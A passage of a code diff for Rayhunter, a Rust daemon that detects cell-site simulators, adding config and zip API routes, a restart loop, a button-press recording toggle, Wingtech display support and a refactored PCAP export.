use tokio::sync::{oneshot, RwLock}; use tokio::sync::{oneshot, RwLock};
use tokio::task::JoinHandle; use tokio::task::JoinHandle;
@@ -45,6 +48,7 @@ fn get_router() -> AppRouter {
Router::new() Router::new()
.route("/api/pcap/{name}", get(get_pcap)) .route("/api/pcap/{name}", get(get_pcap))
.route("/api/qmdl/{name}", get(get_qmdl)) .route("/api/qmdl/{name}", get(get_qmdl))
.route("/api/zip/{name}", get(get_zip))
.route("/api/system-stats", get(get_system_stats)) .route("/api/system-stats", get(get_system_stats))
.route("/api/qmdl-manifest", get(get_qmdl_manifest)) .route("/api/qmdl-manifest", get(get_qmdl_manifest))
.route("/api/start-recording", post(start_recording)) .route("/api/start-recording", post(start_recording))
@@ -54,6 +58,8 @@ fn get_router() -> AppRouter {
.route("/api/analysis-report/{name}", get(get_analysis_report)) .route("/api/analysis-report/{name}", get(get_analysis_report))
.route("/api/analysis", get(get_analysis_status)) .route("/api/analysis", get(get_analysis_status))
.route("/api/analysis/{name}", post(start_analysis)) .route("/api/analysis/{name}", post(start_analysis))
.route("/api/config", get(get_config))
.route("/api/config", post(set_config))
.route("/", get(|| async { Redirect::permanent("/index.html") })) .route("/", get(|| async { Redirect::permanent("/index.html") }))
.route("/{*path}", get(serve_static)) .route("/{*path}", get(serve_static))
} }
@@ -63,14 +69,14 @@ fn get_router() -> AppRouter {
// (i.e. user hit ctrl+c) // (i.e. user hit ctrl+c)
async fn run_server( async fn run_server(
task_tracker: &TaskTracker, task_tracker: &TaskTracker,
config: &config::Config,
state: Arc<ServerState>, state: Arc<ServerState>,
server_shutdown_rx: oneshot::Receiver<()>, server_shutdown_rx: oneshot::Receiver<()>,
) -> JoinHandle<()> { ) -> JoinHandle<()> {
info!("spinning up server"); info!("spinning up server");
let app = get_router().with_state(state); let addr = SocketAddr::from(([0, 0, 0, 0], state.config.port));
let addr = SocketAddr::from(([0, 0, 0, 0], config.port));
let listener = TcpListener::bind(&addr).await.unwrap(); let listener = TcpListener::bind(&addr).await.unwrap();
let app = get_router().with_state(state);
task_tracker.spawn(async move { task_tracker.spawn(async move {
info!("The orca is hunting for stingrays..."); info!("The orca is hunting for stingrays...");
axum::serve(listener, app) axum::serve(listener, app)
@@ -116,46 +122,61 @@ async fn init_qmdl_store(config: &config::Config) -> Result<RecordingStore, Rayh
// Start a thread that'll track when user hits ctrl+c. When that happens, // Start a thread that'll track when user hits ctrl+c. When that happens,
// trigger various cleanup tasks, including sending signals to other threads to // trigger various cleanup tasks, including sending signals to other threads to
// shutdown // shutdown
fn run_ctrl_c_thread( fn run_shutdown_thread(
task_tracker: &TaskTracker, task_tracker: &TaskTracker,
diag_device_sender: Sender<DiagDeviceCtrlMessage>, diag_device_sender: Sender<DiagDeviceCtrlMessage>,
daemon_restart_rx: oneshot::Receiver<()>,
should_restart_flag: Arc<AtomicBool>,
server_shutdown_tx: oneshot::Sender<()>, server_shutdown_tx: oneshot::Sender<()>,
maybe_ui_shutdown_tx: Option<oneshot::Sender<()>>, maybe_ui_shutdown_tx: Option<oneshot::Sender<()>>,
maybe_key_input_shutdown_tx: Option<oneshot::Sender<()>>,
qmdl_store_lock: Arc<RwLock<RecordingStore>>, qmdl_store_lock: Arc<RwLock<RecordingStore>>,
analysis_tx: Sender<AnalysisCtrlMessage>, analysis_tx: Sender<AnalysisCtrlMessage>,
) -> JoinHandle<Result<(), RayhunterError>> { ) -> JoinHandle<Result<(), RayhunterError>> {
info!("create shutdown thread");
task_tracker.spawn(async move { task_tracker.spawn(async move {
match tokio::signal::ctrl_c().await { select! {
Ok(()) => { res = tokio::signal::ctrl_c() => {
let mut qmdl_store = qmdl_store_lock.write().await; if let Err(err) = res {
if qmdl_store.current_entry.is_some() { error!("Unable to listen for shutdown signal: {}", err);
info!("Closing current QMDL entry...");
qmdl_store.close_current_entry().await?;
info!("Done!");
} }
server_shutdown_tx should_restart_flag.store(false, Ordering::Relaxed);
.send(()) }
.expect("couldn't send server shutdown signal"); res = daemon_restart_rx => {
info!("sending UI shutdown"); if let Err(err) = res {
if let Some(ui_shutdown_tx) = maybe_ui_shutdown_tx { error!("Unable to listen for shutdown signal: {}", err);
ui_shutdown_tx
.send(())
.expect("couldn't send ui shutdown signal");
} }
diag_device_sender
.send(DiagDeviceCtrlMessage::Exit) should_restart_flag.store(true, Ordering::Relaxed);
.await
.expect("couldn't send Exit message to diag thread");
analysis_tx
.send(AnalysisCtrlMessage::Exit)
.await
.expect("couldn't send Exit message to analysis thread");
}
Err(err) => {
error!("Unable to listen for shutdown signal: {}", err);
} }
};
let mut qmdl_store = qmdl_store_lock.write().await;
if qmdl_store.current_entry.is_some() {
info!("Closing current QMDL entry...");
qmdl_store.close_current_entry().await?;
info!("Done!");
} }
server_shutdown_tx
.send(())
.expect("couldn't send server shutdown signal");
if let Some(ui_shutdown_tx) = maybe_ui_shutdown_tx {
let _ = ui_shutdown_tx.send(());
}
if let Some(key_input_shutdown_tx) = maybe_key_input_shutdown_tx {
let _ = key_input_shutdown_tx.send(());
}
diag_device_sender
.send(DiagDeviceCtrlMessage::Exit)
.await
.expect("couldn't send Exit message to diag thread");
analysis_tx
.send(AnalysisCtrlMessage::Exit)
.await
.expect("couldn't send Exit message to analysis thread");
Ok(()) Ok(())
}) })
} }
@@ -165,8 +186,19 @@ async fn main() -> Result<(), RayhunterError> {
env_logger::init(); env_logger::init();
let args = parse_args(); let args = parse_args();
let config = parse_config(&args.config_path)?;
loop {
let config = parse_config(&args.config_path).await?;
if !run_with_config(&args, config).await? {
return Ok(());
}
}
}
async fn run_with_config(
args: &config::Args,
config: config::Config,
) -> Result<bool, RayhunterError> {
// TaskTrackers give us an interface to spawn tokio threads, and then // TaskTrackers give us an interface to spawn tokio threads, and then
// eventually await all of them ending // eventually await all of them ending
let task_tracker = TaskTracker::new(); let task_tracker = TaskTracker::new();
@@ -175,10 +207,11 @@ async fn main() -> Result<(), RayhunterError> {
let store = init_qmdl_store(&config).await?; let store = init_qmdl_store(&config).await?;
let analysis_status = AnalysisStatus::new(&store); let analysis_status = AnalysisStatus::new(&store);
let qmdl_store_lock = Arc::new(RwLock::new(store)); let qmdl_store_lock = Arc::new(RwLock::new(store));
let (tx, rx) = mpsc::channel::<DiagDeviceCtrlMessage>(1); let (diag_tx, diag_rx) = mpsc::channel::<DiagDeviceCtrlMessage>(1);
let (ui_update_tx, ui_update_rx) = mpsc::channel::<display::DisplayState>(1); let (ui_update_tx, ui_update_rx) = mpsc::channel::<display::DisplayState>(1);
let (analysis_tx, analysis_rx) = mpsc::channel::<AnalysisCtrlMessage>(5); let (analysis_tx, analysis_rx) = mpsc::channel::<AnalysisCtrlMessage>(5);
let mut maybe_ui_shutdown_tx = None; let mut maybe_ui_shutdown_tx = None;
let mut maybe_key_input_shutdown_tx = None;
if !config.debug_mode { if !config.debug_mode {
let (ui_shutdown_tx, ui_shutdown_rx) = oneshot::channel(); let (ui_shutdown_tx, ui_shutdown_rx) = oneshot::channel();
maybe_ui_shutdown_tx = Some(ui_shutdown_tx); maybe_ui_shutdown_tx = Some(ui_shutdown_tx);
@@ -193,16 +226,29 @@ async fn main() -> Result<(), RayhunterError> {
run_diag_read_thread( run_diag_read_thread(
&task_tracker, &task_tracker,
dev, dev,
rx, diag_rx,
ui_update_tx.clone(), ui_update_tx.clone(),
qmdl_store_lock.clone(), qmdl_store_lock.clone(),
analysis_tx.clone(),
config.enable_dummy_analyzer, config.enable_dummy_analyzer,
config.analyzers.clone(),
); );
info!("Starting UI"); info!("Starting UI");
display::update_ui(&task_tracker, &config, ui_shutdown_rx, ui_update_rx); display::update_ui(&task_tracker, &config, ui_shutdown_rx, ui_update_rx);
info!("Starting Key Input service");
let (key_input_shutdown_tx, key_input_shutdown_rx) = oneshot::channel();
maybe_key_input_shutdown_tx = Some(key_input_shutdown_tx);
key_input::run_key_input_thread(
&task_tracker,
&config,
diag_tx.clone(),
key_input_shutdown_rx,
);
} }
let (daemon_restart_tx, daemon_restart_rx) = oneshot::channel::<()>();
let (server_shutdown_tx, server_shutdown_rx) = oneshot::channel::<()>(); let (server_shutdown_tx, server_shutdown_rx) = oneshot::channel::<()>();
info!("create shutdown thread");
let analysis_status_lock = Arc::new(RwLock::new(analysis_status)); let analysis_status_lock = Arc::new(RwLock::new(analysis_status));
run_analysis_thread( run_analysis_thread(
&task_tracker, &task_tracker,
@@ -210,30 +256,38 @@ async fn main() -> Result<(), RayhunterError> {
qmdl_store_lock.clone(), qmdl_store_lock.clone(),
analysis_status_lock.clone(), analysis_status_lock.clone(),
config.enable_dummy_analyzer, config.enable_dummy_analyzer,
config.analyzers.clone(),
); );
run_ctrl_c_thread( let should_restart_flag = Arc::new(AtomicBool::new(false));
run_shutdown_thread(
&task_tracker, &task_tracker,
tx.clone(), diag_tx.clone(),
daemon_restart_rx,
should_restart_flag.clone(),
server_shutdown_tx, server_shutdown_tx,
maybe_ui_shutdown_tx, maybe_ui_shutdown_tx,
maybe_key_input_shutdown_tx,
qmdl_store_lock.clone(), qmdl_store_lock.clone(),
analysis_tx.clone(), analysis_tx.clone(),
); );
let state = Arc::new(ServerState { let state = Arc::new(ServerState {
config_path: args.config_path.clone(),
config,
qmdl_store_lock: qmdl_store_lock.clone(), qmdl_store_lock: qmdl_store_lock.clone(),
diag_device_ctrl_sender: tx, diag_device_ctrl_sender: diag_tx,
ui_update_sender: ui_update_tx, ui_update_sender: ui_update_tx,
debug_mode: config.debug_mode,
analysis_status_lock, analysis_status_lock,
analysis_sender: analysis_tx, analysis_sender: analysis_tx,
daemon_restart_tx: Arc::new(RwLock::new(Some(daemon_restart_tx))),
}); });
run_server(&task_tracker, &config, state, server_shutdown_rx).await; run_server(&task_tracker, state, server_shutdown_rx).await;
task_tracker.close(); task_tracker.close();
task_tracker.wait().await; task_tracker.wait().await;
info!("see you space cowboy..."); info!("see you space cowboy...");
Ok(()) Ok(should_restart_flag.load(Ordering::Relaxed))
} }
#[cfg(test)] #[cfg(test)]
+49 -69
View File
@@ -7,7 +7,8 @@ use axum::http::header::CONTENT_TYPE;
use axum::http::StatusCode; use axum::http::StatusCode;
use axum::response::{IntoResponse, Response}; use axum::response::{IntoResponse, Response};
use futures::{StreamExt, TryStreamExt}; use futures::{StreamExt, TryStreamExt};
use log::{debug, error, info}; use log::{debug, error, info, warn};
use rayhunter::analysis::analyzer::AnalyzerConfig;
use rayhunter::diag::DataType; use rayhunter::diag::DataType;
use rayhunter::diag_device::DiagDevice; use rayhunter::diag_device::DiagDevice;
use rayhunter::qmdl::QmdlWriter; use rayhunter::qmdl::QmdlWriter;
@@ -24,7 +25,7 @@ use crate::server::ServerState;
pub enum DiagDeviceCtrlMessage { pub enum DiagDeviceCtrlMessage {
StopRecording, StopRecording,
StartRecording((QmdlWriter<File>, File)), StartRecording,
Exit, Exit,
} }
@@ -34,32 +35,67 @@ pub fn run_diag_read_thread(
mut qmdl_file_rx: Receiver<DiagDeviceCtrlMessage>, mut qmdl_file_rx: Receiver<DiagDeviceCtrlMessage>,
ui_update_sender: Sender<display::DisplayState>, ui_update_sender: Sender<display::DisplayState>,
qmdl_store_lock: Arc<RwLock<RecordingStore>>, qmdl_store_lock: Arc<RwLock<RecordingStore>>,
analysis_sender: Sender<AnalysisCtrlMessage>,
enable_dummy_analyzer: bool, enable_dummy_analyzer: bool,
analyzer_config: AnalyzerConfig,
) { ) {
task_tracker.spawn(async move { task_tracker.spawn(async move {
let (initial_qmdl_file, initial_analysis_file) = qmdl_store_lock.write().await.new_entry().await.expect("failed creating QMDL file entry"); let (initial_qmdl_file, initial_analysis_file) = qmdl_store_lock.write().await.new_entry().await.expect("failed creating QMDL file entry");
let mut maybe_qmdl_writer: Option<QmdlWriter<File>> = Some(QmdlWriter::new(initial_qmdl_file)); let mut maybe_qmdl_writer: Option<QmdlWriter<File>> = Some(QmdlWriter::new(initial_qmdl_file));
let mut diag_stream = pin!(dev.as_stream().into_stream()); let mut diag_stream = pin!(dev.as_stream().into_stream());
let mut maybe_analysis_writer = Some(AnalysisWriter::new(initial_analysis_file, enable_dummy_analyzer).await let mut maybe_analysis_writer = Some(AnalysisWriter::new(initial_analysis_file, enable_dummy_analyzer, &analyzer_config).await
.expect("failed to create analysis writer")); .expect("failed to create analysis writer"));
loop { loop {
tokio::select! { tokio::select! {
msg = qmdl_file_rx.recv() => { msg = qmdl_file_rx.recv() => {
match msg { match msg {
Some(DiagDeviceCtrlMessage::StartRecording((new_writer, new_analysis_file))) => { Some(DiagDeviceCtrlMessage::StartRecording) => {
maybe_qmdl_writer = Some(new_writer); let mut qmdl_store = qmdl_store_lock.write().await;
let (qmdl_file, new_analysis_file) = match qmdl_store.new_entry().await {
Ok(x) => x,
Err(e) => {
error!("couldn't create new qmdl entry: {}", e);
continue;
}
};
maybe_qmdl_writer = Some(QmdlWriter::new(qmdl_file));
if let Some(analysis_writer) = maybe_analysis_writer { if let Some(analysis_writer) = maybe_analysis_writer {
analysis_writer.close().await.expect("failed to close analysis writer"); analysis_writer.close().await.expect("failed to close analysis writer");
} }
maybe_analysis_writer = Some(AnalysisWriter::new(new_analysis_file, enable_dummy_analyzer).await
maybe_analysis_writer = Some(AnalysisWriter::new(new_analysis_file, enable_dummy_analyzer, &analyzer_config).await
.expect("failed to write to analysis file")); .expect("failed to write to analysis file"));
if let Err(e) = ui_update_sender.send(display::DisplayState::Recording).await {
warn!("couldn't send ui update message: {}", e);
}
}, },
Some(DiagDeviceCtrlMessage::StopRecording) => { Some(DiagDeviceCtrlMessage::StopRecording) => {
let mut qmdl_store = qmdl_store_lock.write().await;
if let Some((_, entry)) = qmdl_store.get_current_entry() {
if let Err(e) = analysis_sender
.send(AnalysisCtrlMessage::RecordingFinished(
entry.name.to_string(),
))
.await {
warn!("couldn't send analysis message: {}", e);
}
}
if let Err(e) = qmdl_store.close_current_entry().await {
error!("couldn't close current entry: {}", e);
}
maybe_qmdl_writer = None; maybe_qmdl_writer = None;
if let Some(analysis_writer) = maybe_analysis_writer { if let Some(analysis_writer) = maybe_analysis_writer {
analysis_writer.close().await.expect("failed to close analysis writer"); analysis_writer.close().await.expect("failed to close analysis writer");
} }
maybe_analysis_writer = None; maybe_analysis_writer = None;
if let Err(e) = ui_update_sender.send(display::DisplayState::Paused).await {
warn!("couldn't send ui update message: {}", e);
}
}, },
// None means all the Senders have been dropped, so it's // None means all the Senders have been dropped, so it's
// time to go // time to go
@@ -122,40 +158,18 @@ pub fn run_diag_read_thread(
pub async fn start_recording( pub async fn start_recording(
State(state): State<Arc<ServerState>>, State(state): State<Arc<ServerState>>,
) -> Result<(StatusCode, String), (StatusCode, String)> { ) -> Result<(StatusCode, String), (StatusCode, String)> {
if state.debug_mode { if state.config.debug_mode {
return Err((StatusCode::FORBIDDEN, "server is in debug mode".to_string())); return Err((StatusCode::FORBIDDEN, "server is in debug mode".to_string()));
} }
let mut qmdl_store = state.qmdl_store_lock.write().await;
let (qmdl_file, analysis_file) = qmdl_store.new_entry().await.map_err(|e| {
(
StatusCode::INTERNAL_SERVER_ERROR,
format!("couldn't create new qmdl entry: {}", e),
)
})?;
let qmdl_writer = QmdlWriter::new(qmdl_file);
state state
.diag_device_ctrl_sender .diag_device_ctrl_sender
.send(DiagDeviceCtrlMessage::StartRecording(( .send(DiagDeviceCtrlMessage::StartRecording)
qmdl_writer,
analysis_file,
)))
.await .await
.map_err(|e| { .map_err(|e| {
( (
StatusCode::INTERNAL_SERVER_ERROR, StatusCode::INTERNAL_SERVER_ERROR,
format!("couldn't send stop recording message: {}", e), format!("couldn't send start recording message: {}", e),
)
})?;
let display_state = display::DisplayState::Recording;
state
.ui_update_sender
.send(display_state)
.await
.map_err(|e| {
(
StatusCode::INTERNAL_SERVER_ERROR,
format!("couldn't send ui update message: {}", e),
) )
})?; })?;
@@ -165,33 +179,9 @@ pub async fn start_recording(
pub async fn stop_recording( pub async fn stop_recording(
State(state): State<Arc<ServerState>>, State(state): State<Arc<ServerState>>,
) -> Result<(StatusCode, String), (StatusCode, String)> { ) -> Result<(StatusCode, String), (StatusCode, String)> {
if state.debug_mode { if state.config.debug_mode {
return Err((StatusCode::FORBIDDEN, "server is in debug mode".to_string())); return Err((StatusCode::FORBIDDEN, "server is in debug mode".to_string()));
} }
let mut qmdl_store = state.qmdl_store_lock.write().await;
match qmdl_store.get_current_entry() {
Some((_, entry)) => {
state
.analysis_sender
.send(AnalysisCtrlMessage::RecordingFinished(
entry.name.to_string(),
))
.await
.map_err(|e| {
(
StatusCode::INTERNAL_SERVER_ERROR,
format!("couldn't send AnalysisCtrlMessage: {}", e),
)
})?;
}
None => todo!(),
}
qmdl_store.close_current_entry().await.map_err(|e| {
(
StatusCode::INTERNAL_SERVER_ERROR,
format!("couldn't close current qmdl entry: {}", e),
)
})?;
state state
.diag_device_ctrl_sender .diag_device_ctrl_sender
.send(DiagDeviceCtrlMessage::StopRecording) .send(DiagDeviceCtrlMessage::StopRecording)
@@ -202,16 +192,6 @@ pub async fn stop_recording(
format!("couldn't send stop recording message: {}", e), format!("couldn't send stop recording message: {}", e),
) )
})?; })?;
state
.ui_update_sender
.send(display::DisplayState::Paused)
.await
.map_err(|e| {
(
StatusCode::INTERNAL_SERVER_ERROR,
format!("couldn't send ui update message: {}", e),
)
})?;
Ok((StatusCode::ACCEPTED, "ok".to_string())) Ok((StatusCode::ACCEPTED, "ok".to_string()))
} }
@@ -219,7 +199,7 @@ pub async fn delete_recording(
State(state): State<Arc<ServerState>>, State(state): State<Arc<ServerState>>,
Path(qmdl_name): Path<String>, Path(qmdl_name): Path<String>,
) -> Result<(StatusCode, String), (StatusCode, String)> { ) -> Result<(StatusCode, String), (StatusCode, String)> {
if state.debug_mode { if state.config.debug_mode {
return Err((StatusCode::FORBIDDEN, "server is in debug mode".to_string())); return Err((StatusCode::FORBIDDEN, "server is in debug mode".to_string()));
} }
let mut qmdl_store = state.qmdl_store_lock.write().await; let mut qmdl_store = state.qmdl_store_lock.write().await;
@@ -264,7 +244,7 @@ pub async fn delete_recording(
pub async fn delete_all_recordings( pub async fn delete_all_recordings(
State(state): State<Arc<ServerState>>, State(state): State<Arc<ServerState>>,
) -> Result<(StatusCode, String), (StatusCode, String)> { ) -> Result<(StatusCode, String), (StatusCode, String)> {
if state.debug_mode { if state.config.debug_mode {
return Err((StatusCode::FORBIDDEN, "server is in debug mode".to_string())); return Err((StatusCode::FORBIDDEN, "server is in debug mode".to_string()));
} }
state state
+5 -6
View File
@@ -15,14 +15,13 @@ mod orbic;
#[cfg(feature = "orbic")] #[cfg(feature = "orbic")]
pub use orbic::update_ui; pub use orbic::update_ui;
#[cfg(feature = "wingtech")]
mod wingtech;
#[cfg(feature = "wingtech")]
pub use wingtech::update_ui;
pub enum DisplayState { pub enum DisplayState {
Recording, Recording,
Paused, Paused,
WarningDetected, WarningDetected,
} }
#[cfg(all(feature = "orbic", feature = "tplink"))]
compile_error!("cannot compile for many devices at once");
#[cfg(not(any(feature = "orbic", feature = "tplink")))]
compile_error!("cannot compile for no device at all");
+54
View File
@@ -0,0 +1,54 @@
/// Display support for the Wingtech CT2MHS01 hotspot.
///
/// Tested on (from `/etc/wt_version`):
/// WT_INNER_VERSION=SW_Q89323AA1_V057_M10_CRICKET_USR_MP
/// WT_PRODUCTION_VERSION=CT2MHS01_0.04.55
/// WT_HARDWARE_VERSION=89323_1_20
use crate::config;
use crate::display::generic_framebuffer::{self, Dimensions, GenericFramebuffer};
use crate::display::DisplayState;
use tokio::sync::mpsc::Receiver;
use tokio::sync::oneshot;
use tokio_util::task::TaskTracker;
const FB_PATH: &str = "/dev/fb0";
#[derive(Copy, Clone, Default)]
struct Framebuffer;
impl GenericFramebuffer for Framebuffer {
fn dimensions(&self) -> Dimensions {
Dimensions {
height: 128,
width: 160,
}
}
fn write_buffer(&mut self, buffer: &[(u8, u8, u8)]) {
let mut raw_buffer = Vec::new();
for (r, g, b) in buffer {
let mut rgb565: u16 = (*r as u16 & 0b11111000) << 8;
rgb565 |= (*g as u16 & 0b11111100) << 3;
rgb565 |= (*b as u16) >> 3;
raw_buffer.extend(rgb565.to_le_bytes());
}
std::fs::write(FB_PATH, &raw_buffer).unwrap();
}
}
pub fn update_ui(
task_tracker: &TaskTracker,
config: &config::Config,
ui_shutdown_rx: oneshot::Receiver<()>,
ui_update_rx: Receiver<DisplayState>,
) {
generic_framebuffer::update_ui(
task_tracker,
config,
Framebuffer,
ui_shutdown_rx,
ui_update_rx,
)
}
+131
View File
@@ -0,0 +1,131 @@
use log::{error, info};
use std::time::{Duration, Instant};
use tokio::fs::File;
use tokio::io::AsyncReadExt;
use tokio::sync::mpsc::Sender;
use tokio::sync::oneshot;
use tokio_util::task::TaskTracker;
use crate::config;
use crate::diag::DiagDeviceCtrlMessage;
#[derive(Debug)]
enum Event {
KeyDown,
KeyUp,
}
const INPUT_EVENT_SIZE: usize = 32;
pub fn run_key_input_thread(
task_tracker: &TaskTracker,
config: &config::Config,
diag_tx: Sender<DiagDeviceCtrlMessage>,
mut ui_shutdown_rx: oneshot::Receiver<()>,
) {
if config.key_input_mode == 0 {
return;
}
task_tracker.spawn(async move {
// Open the input device
let mut file = match File::open("/dev/input/event0").await {
Ok(file) => file,
Err(e) => {
error!("Failed to open /dev/input/event0: {}", e);
return;
}
};
let mut buffer = [0u8; INPUT_EVENT_SIZE];
let mut last_keyup: Option<Instant> = None;
let mut last_event_time: Option<Instant> = None;
loop {
tokio::select! {
_ = &mut ui_shutdown_rx => {
info!("received key input shutdown");
return;
}
result = file.read_exact(&mut buffer) => {
if let Err(e) = result {
error!("failed to read key input: {}", e);
return;
}
}
}
let event = parse_event(buffer);
let now = Instant::now();
// On orbic it was observed that pressing the power button can trigger many successive
// events. Drop events that are too close together.
if let Some(last_time) = last_event_time {
if now.duration_since(last_time) < Duration::from_millis(50) {
last_event_time = Some(now);
continue;
}
}
last_event_time = Some(now);
match event {
Event::KeyUp => {
if let Some(last_keyup_instant) = last_keyup {
let elapsed = now.duration_since(last_keyup_instant);
if elapsed >= Duration::from_millis(100)
&& elapsed <= Duration::from_millis(800)
{
if let Err(e) = diag_tx.send(DiagDeviceCtrlMessage::StopRecording).await
{
error!("Failed to send StopRecording: {}", e);
}
if let Err(e) =
diag_tx.send(DiagDeviceCtrlMessage::StartRecording).await
{
error!("Failed to send StartRecording: {}", e);
}
last_keyup = None;
continue;
}
}
last_keyup = Some(now);
}
Event::KeyDown => {}
}
}
});
}
fn parse_event(input: [u8; INPUT_EVENT_SIZE]) -> Event {
if input[12] == 0 {
Event::KeyUp
} else {
Event::KeyDown
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_parse_event_keydown_m7350_v5() {
let input = [
0x57, 0x6c, 0x09, 0x00, 0x7c, 0xfb, 0x03, 0x00, 0x01, 0x00, 0x74, 0x00, 0x01, 0x00,
0x00, 0x00, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
];
assert!(matches!(parse_event(input), Event::KeyDown));
}
#[test]
fn test_parse_event_keyup_m7350_v5() {
let input = [
0x57, 0x6c, 0x09, 0x00, 0x1b, 0x15, 0x05, 0x00, 0x01, 0x00, 0x74, 0x00, 0x00, 0x00,
0x00, 0x00, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
];
assert!(matches!(parse_event(input), Event::KeyUp));
}
}
+45 -32
View File
@@ -1,19 +1,18 @@
use crate::ServerState; use crate::ServerState;
use anyhow::Error;
use axum::body::Body; use axum::body::Body;
use axum::extract::{Path, State}; use axum::extract::{Path, State};
use axum::http::header::CONTENT_TYPE; use axum::http::header::CONTENT_TYPE;
use axum::http::StatusCode; use axum::http::StatusCode;
use axum::response::{IntoResponse, Response}; use axum::response::{IntoResponse, Response};
use futures::TryStreamExt;
use log::error; use log::error;
use rayhunter::diag::DataType; use rayhunter::diag::DataType;
use rayhunter::gsmtap_parser; use rayhunter::gsmtap_parser;
use rayhunter::pcap::GsmtapPcapWriter; use rayhunter::pcap::GsmtapPcapWriter;
use rayhunter::qmdl::QmdlReader; use rayhunter::qmdl::QmdlReader;
use std::sync::Arc; use std::sync::Arc;
use std::{future, pin::pin}; use tokio::io::{duplex, AsyncRead, AsyncWrite};
use tokio::io::duplex;
use tokio_util::io::ReaderStream; use tokio_util::io::ReaderStream;
// Streams a pcap file chunk-by-chunk to the client by reading the QMDL data // Streams a pcap file chunk-by-chunk to the client by reading the QMDL data
@@ -21,12 +20,15 @@ use tokio_util::io::ReaderStream;
// pcap data to a channel that's piped to the client. // pcap data to a channel that's piped to the client.
pub async fn get_pcap( pub async fn get_pcap(
State(state): State<Arc<ServerState>>, State(state): State<Arc<ServerState>>,
Path(qmdl_name): Path<String>, Path(mut qmdl_name): Path<String>,
) -> Result<Response, (StatusCode, String)> { ) -> Result<Response, (StatusCode, String)> {
let qmdl_store = state.qmdl_store_lock.read().await; let qmdl_store = state.qmdl_store_lock.read().await;
if qmdl_name.ends_with("pcapng") {
qmdl_name = qmdl_name.trim_end_matches(".pcapng").to_string();
}
let (entry_index, entry) = qmdl_store.entry_for_name(&qmdl_name).ok_or(( let (entry_index, entry) = qmdl_store.entry_for_name(&qmdl_name).ok_or((
StatusCode::NOT_FOUND, StatusCode::NOT_FOUND,
format!("couldn't find qmdl file with name {}", qmdl_name), format!("couldn't find manifest entry with name {}", qmdl_name),
))?; ))?;
if entry.qmdl_size_bytes == 0 { if entry.qmdl_size_bytes == 0 {
return Err(( return Err((
@@ -42,35 +44,10 @@ pub async fn get_pcap(
// the QMDL reader should stop at the last successfully written data chunk // the QMDL reader should stop at the last successfully written data chunk
// (entry.size_bytes) // (entry.size_bytes)
let (reader, writer) = duplex(1024); let (reader, writer) = duplex(1024);
let mut pcap_writer = GsmtapPcapWriter::new(writer).await.unwrap();
pcap_writer.write_iface_header().await.unwrap();
tokio::spawn(async move { tokio::spawn(async move {
let mut reader = QmdlReader::new(qmdl_file, Some(qmdl_size_bytes)); if let Err(e) = generate_pcap_data(writer, qmdl_file, qmdl_size_bytes).await {
let mut messages_stream = pin!(reader error!("failed to generate PCAP: {:?}", e);
.as_stream()
.try_filter(|container| future::ready(container.data_type == DataType::UserSpace)));
while let Some(container) = messages_stream
.try_next()
.await
.expect("failed getting QMDL container")
{
for maybe_msg in container.into_messages() {
match maybe_msg {
Ok(msg) => {
let maybe_gsmtap_msg =
gsmtap_parser::parse(msg).expect("error parsing gsmtap message");
if let Some((timestamp, gsmtap_msg)) = maybe_gsmtap_msg {
pcap_writer
.write_gsmtap_message(gsmtap_msg, timestamp)
.await
.expect("error writing pcap packet");
}
}
Err(e) => error!("error parsing message: {:?}", e),
}
}
} }
}); });
@@ -78,3 +55,39 @@ pub async fn get_pcap(
let body = Body::from_stream(ReaderStream::new(reader)); let body = Body::from_stream(ReaderStream::new(reader));
Ok((headers, body).into_response()) Ok((headers, body).into_response())
} }
pub async fn generate_pcap_data<R, W>(
writer: W,
qmdl_file: R,
qmdl_size_bytes: usize,
) -> Result<(), Error>
where
W: AsyncWrite + Unpin + Send,
R: AsyncRead + Unpin,
{
let mut pcap_writer = GsmtapPcapWriter::new(writer).await?;
pcap_writer.write_iface_header().await?;
let mut reader = QmdlReader::new(qmdl_file, Some(qmdl_size_bytes));
while let Some(container) = reader.get_next_messages_container().await? {
if container.data_type != DataType::UserSpace {
continue;
}
for maybe_msg in container.into_messages() {
match maybe_msg {
Ok(msg) => {
let maybe_gsmtap_msg = gsmtap_parser::parse(msg)?;
if let Some((timestamp, gsmtap_msg)) = maybe_gsmtap_msg {
pcap_writer
.write_gsmtap_message(gsmtap_msg, timestamp)
.await?;
}
}
Err(e) => error!("error parsing message: {:?}", e),
}
}
}
Ok(())
}
+31 -10
View File
@@ -1,7 +1,9 @@
use std::io::{self, ErrorKind};
use std::path::{Path, PathBuf};
use chrono::{DateTime, Local}; use chrono::{DateTime, Local};
use rayhunter::util::RuntimeMetadata; use rayhunter::util::RuntimeMetadata;
use serde::{Deserialize, Serialize}; use serde::{Deserialize, Serialize};
use std::path::{Path, PathBuf};
use thiserror::Error; use thiserror::Error;
use tokio::{ use tokio::{
fs::{self, try_exists, File, OpenOptions}, fs::{self, try_exists, File, OpenOptions},
@@ -289,10 +291,10 @@ impl RecordingStore {
self.write_manifest().await?; self.write_manifest().await?;
let qmdl_filepath = entry_to_delete.get_qmdl_filepath(&self.path); let qmdl_filepath = entry_to_delete.get_qmdl_filepath(&self.path);
let analysis_filepath = entry_to_delete.get_analysis_filepath(&self.path); let analysis_filepath = entry_to_delete.get_analysis_filepath(&self.path);
tokio::fs::remove_file(qmdl_filepath) remove_file_if_exists(&qmdl_filepath)
.await .await
.map_err(RecordingStoreError::DeleteFileError)?; .map_err(RecordingStoreError::DeleteFileError)?;
tokio::fs::remove_file(analysis_filepath) remove_file_if_exists(&analysis_filepath)
.await .await
.map_err(RecordingStoreError::DeleteFileError)?; .map_err(RecordingStoreError::DeleteFileError)?;
Ok(entry_to_delete) Ok(entry_to_delete)
@@ -303,22 +305,41 @@ impl RecordingStore {
self.close_current_entry().await?; self.close_current_entry().await?;
} }
let mut keep = Vec::new();
for entry in &self.manifest.entries { for entry in &self.manifest.entries {
let qmdl_filepath = entry.get_qmdl_filepath(&self.path); let qmdl_filepath = entry.get_qmdl_filepath(&self.path);
let analysis_filepath = entry.get_analysis_filepath(&self.path); let analysis_filepath = entry.get_analysis_filepath(&self.path);
tokio::fs::remove_file(qmdl_filepath)
.await if let Err(e) = remove_file_if_exists(&qmdl_filepath).await {
.map_err(RecordingStoreError::DeleteFileError)?; log::warn!("failed to remove {qmdl_filepath:?}: {e:?}");
